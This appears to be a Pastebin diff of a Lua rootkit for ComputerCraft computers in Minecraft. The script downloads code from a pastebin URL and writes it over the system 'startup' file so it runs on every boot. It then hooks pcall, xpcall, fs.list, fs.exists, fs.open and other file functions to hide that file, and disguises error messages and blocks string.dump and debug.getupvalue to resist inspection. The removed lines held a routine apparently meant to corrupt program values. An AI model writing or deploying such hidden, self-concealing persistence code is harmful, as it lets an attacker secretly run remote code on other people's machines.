SHOW:
|
|
- or go back to the newest paste.
1 | - | load([[ |
1 | + | local fn, err = load([[ |
2 | ||
3 | -- #### Vars | |
4 | ||
5 | local userStartupPath = "userStartup" | |
6 | local real = {} | |
7 | ||
8 | -- #### "Local" functions | |
9 | ||
10 | settings.set("shell.allow_disk_startup", false) | |
11 | settings.set("shell.allow_startup", true) | |
12 | settings.save ".settings" | |
13 | - | local h = http.get "https://pastebin.com/raw/C4SpMZT3" |
13 | + | local h = http.get "https://pastebin.com/raw/ecXX3gm6" |
14 | if fs.isDir "startup" then fs.delete "startup" end | |
15 | local f = fs.open("startup", "w") | |
16 | f.write(h.readAll()) | |
17 | f.close() | |
18 | h.close() | |
19 | ||
20 | local function writeYellow(text) | |
21 | if term.isColor() then | |
22 | term.setTextColor(colors.yellow) | |
23 | term.write(text) | |
24 | term.setTextColor(colors.white) | |
25 | else | |
26 | term.write(text) | |
27 | end | |
28 | end | |
29 | ||
30 | -- #### Tweaking compromising functions | |
31 | ||
32 | local function preprocessError(e) | |
33 | if type(e) == "string" then | |
34 | local newText = e:gsub("why", "bios.lua"):gsub("userStartup", "startup") | |
35 | return newText | |
36 | end | |
37 | return e | |
38 | end | |
39 | ||
40 | real.pcall = pcall | |
41 | local function fakePcall(...) | |
42 | local ok, result = real.pcall(...) | |
43 | if not ok then return false, preprocessError(result) | |
44 | else return ok, result end | |
45 | end | |
46 | _G.pcall = fakePcall | |
47 | ||
48 | real.xpcall = xpcall | |
49 | local function fakeXpcall(fn, ehandler) | |
50 | return real.xpcall(fn, function(e) return ehandler(preprocessError(e)) end) | |
51 | end | |
52 | _G.xpcall = fakeXpcall | |
53 | ||
54 | real.find = fs.find | |
55 | local function fakeFind(path) | |
56 | if string.lower(path) == "startup" then | |
57 | path = userStartupPath | |
58 | end | |
59 | ||
60 | list = real.find(path) | |
61 | for i=1,#list do | |
62 | if list[i] == userStartupPath then | |
63 | list[i] = "startup" | |
64 | end | |
65 | end | |
66 | return list | |
67 | end | |
68 | fs.find = fakeFind | |
69 | ||
70 | real.list = fs.list | |
71 | local function fakeList(path) | |
72 | list = real.list(path) | |
73 | for i=1,#list do | |
74 | if list[i] == "startup" then | |
75 | table.remove(list, i) | |
76 | end | |
77 | end | |
78 | for i=1,#list do | |
79 | if list[i] == userStartupPath then | |
80 | list[i] = "startup" | |
81 | end | |
82 | end | |
83 | return list | |
84 | end | |
85 | fs.list = fakeList | |
86 | ||
87 | real.exists = fs.exists | |
88 | local function fakeExists(path) | |
89 | if string.lower(path) == "startup" then | |
90 | path = userStartupPath | |
91 | end | |
92 | ||
93 | return real.exists(path) | |
94 | end | |
95 | fs.exists = fakeExists | |
96 | ||
97 | real.ioOpen = io.open | |
98 | local function fakeIoOpen(path) | |
99 | if string.lower(path) == "startup" then | |
100 | path = userStartupPath | |
101 | end | |
102 | ||
103 | return real.ioOpen(path) | |
104 | end | |
105 | io.open = fakeIoOpen | |
106 | ||
107 | real.makeDir = fs.makeDir | |
108 | local function fakeMakeDir(path) | |
109 | if string.lower(path) == "startup" then | |
110 | path = userStartupPath | |
111 | end | |
112 | ||
113 | return real.makeDir(path) | |
114 | end | |
115 | fs.makeDir = fakeMakeDir | |
116 | ||
117 | real.delete = fs.delete | |
118 | local function fakeDelete(path) | |
119 | if string.lower(path) == "startup" then | |
120 | path = userStartupPath | |
121 | end | |
122 | ||
123 | return real.delete(path) | |
124 | end | |
125 | fs.delete = fakeDelete | |
126 | ||
127 | real.open = fs.open | |
128 | local function fakeOpen(path, mode) | |
129 | if string.lower(path) == "startup" then | |
130 | path = userStartupPath | |
131 | end | |
132 | ||
133 | return real.open(path, mode) | |
134 | end | |
135 | fs.open = fakeOpen | |
136 | ||
137 | real.isReadOnly = fs.isReadOnly | |
138 | local function fakeIsReadOnly(path) | |
139 | if string.lower(path) == "startup" then | |
140 | path = userStartupPath | |
141 | end | |
142 | ||
143 | return real.isReadOnly(path) | |
144 | end | |
145 | fs.isReadOnly = fakeIsReadOnly | |
146 | ||
147 | real.getSize = fs.getSize | |
148 | local function fakeGetSize(path) | |
149 | if string.lower(path) == "startup" then | |
150 | path = userStartupPath | |
151 | end | |
152 | ||
153 | return real.getSize(path) | |
154 | end | |
155 | fs.getSize = fakeGetSize | |
156 | ||
157 | real.move = fs.move | |
158 | local function fakeMove(fromPath, toPath) | |
159 | if string.lower(fromPath) == "startup" then | |
160 | fromPath = userStartupPath | |
161 | end | |
162 | if string.lower(toPath) == "startup" then | |
163 | toPath = userStartupPath | |
164 | end | |
165 | ||
166 | return real.move(fromPath, toPath) | |
167 | end | |
168 | fs.move = fakeMove | |
169 | ||
170 | real.copy = fs.copy | |
171 | local function fakeCopy(fromPath, toPath) | |
172 | if string.lower(fromPath) == "startup" then | |
173 | fromPath = userStartupPath | |
174 | end | |
175 | if string.lower(toPath) == "startup" then | |
176 | toPath = userStartupPath | |
177 | end | |
178 | ||
179 | return real.copy(fromPath, toPath) | |
180 | end | |
181 | fs.copy = fakeCopy | |
182 | ||
183 | real.stringDump = string.dump | |
184 | local function isDefinedHere(fn) | |
185 | local d = real.stringDump(fn) | |
186 | return d:find "@why" ~= nil | |
187 | end | |
188 | ||
189 | local function fakeStringDump(fn) | |
190 | if isDefinedHere(fn) then | |
191 | error "Unable to dump given function" | |
192 | end | |
193 | return real.stringDump(fn) | |
194 | end | |
195 | string.dump = fakeStringDump | |
196 | ||
197 | real.debugGetupvalue = debug.getupvalue | |
198 | local function fakeDebugGetupvalue(fn, ...) | |
199 | if isDefinedHere(fn) then return nil | |
200 | else return real.debugGetupvalue(fn, ...) end | |
201 | end | |
202 | debug.getupvalue = fakeDebugGetupvalue | |
203 | ||
204 | - | local function randomStackPos() |
204 | + | |
205 | - | local eligible = {} |
205 | + | |
206 | - | local i = 1 |
206 | + | |
207 | - | while true do |
207 | + | |
208 | - | local info = debug.getinfo(i, "Sn") |
208 | + | |
209 | - | if not info then break end |
209 | + | |
210 | - | if info.what ~= "C" and info.source ~= "@why" and not (info.source == "@bios.lua" and info.name == nil) then |
210 | + | |
211 | - | table.insert(eligible, i) |
211 | + | |
212 | ||
213 | - | i = i + 1 |
213 | + | ]], "@why") |
214 | if not fn then | |
215 | - | if #eligible == 0 then return 0 |
215 | + | printError(err) |
216 | - | else return eligible[math.random(1, #eligible)] end |
216 | + | coroutine.yield "key" |
217 | os.shutdown() | |
218 | else | |
219 | - | local function mutateValue(x) |
219 | + | fn() |
220 | - | local ty = type(x) |
220 | + | end |